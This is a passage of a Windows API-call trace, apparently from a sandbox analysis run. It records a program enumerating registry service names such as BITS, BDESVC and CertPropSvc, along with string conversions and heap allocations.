cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0249.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.373] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0249.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0249.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0249.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0249.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0249.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0249.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.374] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0249.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0249.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0249.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0249.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0249.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0249.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0249.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0249.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0249.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0249.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0249.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0249.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0249.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0249.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0249.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0249.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0249.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0249.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0249.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0249.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0249.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0249.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.377] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0249.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0249.377] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.377] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.378] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.378] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0249.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.378] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0249.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.425] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0249.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0249.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.425] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.425] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0249.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.425] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0249.426] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.426] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.426] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.426] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.426] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0249.426] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.426] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0249.426] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.426] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.426] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0249.426] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.426] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0249.426] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.426] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0249.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f19b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0249.426] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0249.426] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0249.426] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0249.426] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0249.427] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: 